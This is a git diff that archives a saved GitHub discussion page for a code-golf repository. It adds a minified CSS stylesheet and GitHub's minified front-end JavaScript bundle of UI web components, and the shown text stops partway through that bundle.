th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return 